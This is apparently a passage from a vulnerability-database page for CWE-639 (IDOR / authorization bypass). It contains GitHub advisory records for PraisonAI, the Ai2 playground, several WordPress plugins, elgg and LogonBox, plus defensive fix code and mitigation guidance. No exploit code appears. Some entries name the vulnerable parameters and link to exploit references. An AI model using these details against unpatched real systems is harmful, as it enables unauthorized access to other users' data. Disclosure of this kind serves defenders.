data platform-wide and take ownership of any workspace they are invited to.\n\n---\n\n## Suggested Fix\n\n**1. Scope all service get/update/delete methods to workspace_id**\n\n```python\n# issue_service.py, replace get() at line 72:\nasync def get(self, issue_id: str, workspace_id: str) -\u003e Optional[Issue]:\n    \"\"\"Get issue by ID, scoped to workspace.\"\"\"\n    issue = await self._session.get(Issue, issue_id)\n    if issue is None or issue.workspace_id != workspace_id:\n        return None\n    return issue\n\n# Apply the same pattern to update(), delete(), and all ProjectService methods\n```\n\n**2. Pass workspace_id from routes to services**\n\n```python\n# issues.py, fix get_issue at line 82:\nissue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped\n```\n\n**3. Require owner role for member management and add escalation guards**\n\n```python\n# workspaces.py, fix update_member_role:\nuser: AuthIdentity = Depends(\n    lambda **kw: require_workspace_member(**kw, min_role=\"owner\")\n)\n\n# Add self-modification and last-owner guards:\nif user_id == user.id:\n    raise HTTPException(403, \"Cannot change your own role\")\n\n# Fix remove_member:\ntarget = await member_svc.get(workspace_id, user_id)\nif target and target.role == \"owner\":\n    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == \"owner\"]\n    if len(owners) \u003c= 1:\n        raise HTTPException(403, \"Cannot remove the last owner\")\n```",
  "id": "GHSA-gv23-xrm3-8c62",
  "modified": "2026-05-29T22:32:45Z",
  "published": "2026-05-29T22:32:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API"
}

GHSA-GV5M-2PF6-CGMR

Vulnerability from github – Published: 2025-07-22 15:32 – Updated: 2025-07-22 18:30
VLAI
Details

Ai2 playground web service (playground.allenai.org) LLM chat through 2025-06-03 is vulnerable to Insecure Direct Object Reference (IDOR), allowing attackers to gain sensitvie information via enumerating thread keys in the URL.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-51865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-22T15:15:37Z",
    "severity": "HIGH"
  },
  "details": "Ai2 playground web service (playground.allenai.org) LLM chat through 2025-06-03 is vulnerable to Insecure Direct Object Reference (IDOR), allowing attackers to gain sensitvie information via enumerating thread keys in the URL.",
  "id": "GHSA-gv5m-2pf6-cgmr",
  "modified": "2025-07-22T18:30:41Z",
  "published": "2025-07-22T15:32:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Secsys-FDU/CVE-2025-51865"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GVFF-QXFC-G43P

Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-23 18:30
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in wptasker WP Discord Post Plus – Supports Unlimited Channels allows Cross Site Request Forgery. This issue affects WP Discord Post Plus – Supports Unlimited Channels: from n/a through 1.0.2.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T08:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in wptasker WP Discord Post Plus \u0026#8211;  Supports Unlimited Channels allows Cross Site Request Forgery. This issue affects WP Discord Post Plus \u0026#8211;  Supports Unlimited Channels: from n/a through 1.0.2.",
  "id": "GHSA-gvff-qxfc-g43p",
  "modified": "2026-04-23T18:30:46Z",
  "published": "2025-08-20T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49896"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/school-management/vulnerability/wordpress-school-management-plugin-plugin-93-1-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-discord-post-plus/vulnerability/wordpress-wp-discord-post-plus-supports-unlimited-channels-plugin-1-0-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GVM8-VJ5G-8995

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in AdvancedCoding wpDiscuz wpdiscuz allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects wpDiscuz: from n/a through <= 7.6.40.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-68997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T11:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in AdvancedCoding wpDiscuz wpdiscuz allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects wpDiscuz: from n/a through \u003c= 7.6.40.",
  "id": "GHSA-gvm8-vj5g-8995",
  "modified": "2026-01-20T15:32:44Z",
  "published": "2025-12-30T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68997"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wpdiscuz/vulnerability/wordpress-wpdiscuz-plugin-7-6-40-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wpdiscuz/vulnerability/wordpress-wpdiscuz-plugin-7-6-40-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GWM7-84HQ-WRQ2

Vulnerability from github – Published: 2023-12-20 18:30 – Updated: 2026-04-28 21:33
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in WooCommerce Woo Subscriptions.This issue affects Woo Subscriptions: from n/a through 5.1.2.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-20T16:15:08Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in WooCommerce Woo Subscriptions.This issue affects Woo Subscriptions: from n/a through 5.1.2.",
  "id": "GHSA-gwm7-84hq-wrq2",
  "modified": "2026-04-28T21:33:29Z",
  "published": "2023-12-20T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35914"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-subscriptions/wordpress-woocommerce-subscriptions-plugin-5-1-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GWPX-Q2H9-WXGX

Vulnerability from github – Published: 2021-12-03 20:43 – Updated: 2021-12-03 15:16
VLAI
Summary
elgg is vulnerable to Authorization Bypass Through User-Controlled Key
Details

elgg is vulnerable to Authorization Bypass Through User-Controlled Key

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "elgg/elgg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-02T21:20:04Z",
    "nvd_published_at": "2021-12-01T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "elgg is vulnerable to Authorization Bypass Through User-Controlled Key",
  "id": "GHSA-gwpx-q2h9-wxgx",
  "modified": "2021-12-03T15:16:06Z",
  "published": "2021-12-03T20:43:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3964"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elgg/elgg/commit/d9fcad76ee380ea17edd61d13d0f87828ea3f744"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elgg/elgg"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/a4df45d6-b739-4299-967f-c960b569383a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "elgg is vulnerable to Authorization Bypass Through User-Controlled Key"
}

GHSA-GX48-Q3WG-HQGQ

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

An unauthenticated Insecure Direct Object Reference (IDOR) in Wicket Core in LogonBox Nervepoint Access Manager 2013 through 2017 allows a remote attacker to enumerate internal Active Directory usernames and group names, and alter back-end server jobs (backup and synchronization jobs), which could allow for the possibility of a Denial of Service attack via a modified jobId parameter in a runJob.html GET request.

Severity
9.4 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-6716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:01:00Z",
    "severity": "CRITICAL"
  },
  "details": "An unauthenticated Insecure Direct Object Reference (IDOR) in Wicket Core in LogonBox Nervepoint Access Manager 2013 through 2017 allows a remote attacker to enumerate internal Active Directory usernames and group names, and alter back-end server jobs (backup and synchronization jobs), which could allow for the possibility of a Denial of Service attack via a modified jobId parameter in a runJob.html GET request.",
  "id": "GHSA-gx48-q3wg-hqgq",
  "modified": "2022-05-13T01:22:46Z",
  "published": "2022-05-13T01:22:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6716"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46254"
    },
    {
      "type": "WEB",
      "url": "https://www.logonbox.com/en"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/151373/LongBox-Limited-Access-Manager-Insecure-Direct-Object-Reference.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list